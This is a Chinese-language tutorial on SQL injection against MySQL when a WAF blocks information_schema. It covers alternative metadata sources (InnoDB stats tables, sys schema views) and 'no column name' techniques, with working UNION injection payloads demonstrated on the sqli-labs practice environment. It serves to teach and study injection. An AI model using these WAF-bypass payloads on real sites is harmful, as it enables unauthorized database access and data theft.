0x00 前言

有时候在进行SQL注入中,WAF会过滤掉information_schema这个库,这对我们进行手注产生了一定的障碍,此时就可以用到无列名注入来绕过。

0x01 information_schema库

简介

information_schema是MySQL中自带的一个信息数据库,它提供了访问数据库元数据的方式,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名、表名、字段名、相关的数据类型与访问权限等。

information_schema数据库中相关表的说明:

  • SCHEMATA表:提供了当前MySQL实例中所有数据库的信息。是show databases的结果取之此表。
  • TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
  • COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
  • STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
  • USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
  • SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
  • TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
  • COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
  • CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
  • COLLATIONS表:提供了关于各字符集的对照信息。
  • COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
  • TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
  • KEY_COLUMN_USAGE表:描述了具有约束的键列。
  • ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
  • VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
  • TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

在SQL注入中的利用

一般的,在SQL注入中,都是先通过information_schema库来查询MySQL中存在哪些数据库、指定数据库存在哪些表、指定表存在哪些字段等等。

常规利用方式:

1
2
3
4
5
6
7
8
# 查询所有数据库
select schema_name from information_schema.schemata;

# 查询指定数据库存在哪些表
select table_name from information_schema.tables where table_schema='security';

# 查询指定表存在哪些字段
select column_name from information_schema.columns where table_schema='security' and table_name='users';

然后,就是根据查询到的表名、列明进行进一步的查询即可得到目标数据。

但是,在一些WAF中是过滤了information_schema的,此时需要换种方式注入。

0x02 InnoDb引擎

从MySQL 5.5.8开始,InnoDB成为其默认存储引擎。而在MySQL 5.6以上的版本中,InnoDb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

在MySQL 5.6版本中,可以使用mysql.innodb_table_stats和mysql.innodb_table_index这两张表来替换information_schema.tables实现注入,但是缺点是没有列名。

利用示例:

1
2
?id=0' union select 1,2,(select group_concat(database_name) from mysql.innodb_table_stats)%23
?id=0' union select 1,2,(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())%23

在本地环境中,MySQL版本为5.7,InnoDB引擎并不是作为默认数据库引擎,自然而然其中这两个表不包含新建立的库和表相关信息了,比较鸡肋:

查看MySQL支持及默认的存储引擎:

1
show engines;

在MySQL配置文件中添加如下配置开启InnoDb存储引擎:

1
default-storage-engine=InnoDB

0x03 sys库

简介

在MySQL 5.7中,新增了sys系统数据库,通过这个库可以快速地了解系统的元数据信息。sys库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。

sys库下有两种表:

  • 字母开头: 适合人阅读,显示是格式化的数;
  • x$开头 : 适合工具采集数据,原始类数据;

在SQL注入中的利用

当information_schema库被WAF过滤后,我们可以使用sys库进行替换利用。

sys.schema_auto_increment_columns

schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。

在设计表时,一般会给一些字段设置自增,而schema_auto_increment_columns视图中保存的就是那些有自增字段的表的数据库相关信息。

本地环境中保存有security库及其相关表的信息,这是因为这个数据库中这些表的id列都是设置为自增的:

基于这个特性,就能替换information_schema来查询数据库和表了:

1
2
3
4
# 查询数据库
select table_schema from sys.schema_auto_increment_columns;
# 查询指定数据库的表
select table_name from sys.schema_auto_increment_columns where table_schema='security';

但是这里有个明显的不足就是,无法查询指定数据库中某表的列。

schema_table_statistics_with_buffer和x$schema_table_statistics_with_buffer

前面的schema_auto_increment_columns对应的是存在自增列的表,但是针对不存在自增列的表的话可以通过本小节的这个视图来实现查询。

比如本地challenges库的表中并没有含有自增列,但是在schema_table_statistics_with_buffer中能查询:

同理的利用:

1
2
3
4
5
6
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema='challenges';
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema='challenges';

但是缺陷也是一样的,无法查询指定数据库中某表的列。

0x04 无列名注入

前面说的sys库替换information_schema库的使用还存在个不足就是查询不到列,此时就可以利用无列名注入来实现。

join … using …

以sqli-labs的环境为例,通过ERROR提示的列名逐个using来爆出其他列名即可:

1
2
select * from users where id='0' union all select * from (select * from users as a join users as b)as c;
select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username,password))as c;

Web端:

order by盲注

order by用于根据指定的列对结果集进行排序。一般上是从0-9、a-z排序,不区分大小写。

order by盲注为何可以用于无列名注入呢?看个例子。

比如当我们需要猜解第三列的内容时,使用order by实例如下:

当猜测的值大于当前值时,会返回原来的数据即这里看第二列返回是否正常的username,否则会返回猜测的值。此时我们取临界值根据返回内容的二元组继续逐位猜解即可:

当然,相比之下没有其他无列名注入的方法好用。

子查询

子查询也能用于无列名注入,主要是结合union select联合查询构造列名再放到子查询中实现。

使用如下union联合查询,可以给当前整个查询的列分别赋予1、2、3的名字:

1
select 1,2,3 union select * from users;

接着使用子查询就能指定查询刚刚赋予的列名对应的列内容了:

1
2
select `3` from (select 1,2,3 union select * from users)x;
select x.3 from (select 1,2,3 union select * from users)x;

在sqli-labs中的利用:

1
2
3
?id=0' union select 1,2,group_concat(`3`) from (select 1,2,3 union select * from users)x;%23
?id=0' union select 1,2,group_concat(x.3) from (select 1,2,3 union select * from users)x;%23
?id=0' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;%23

0x0n 参考

聊一聊bypass information_schema

一道题引发的无列名注入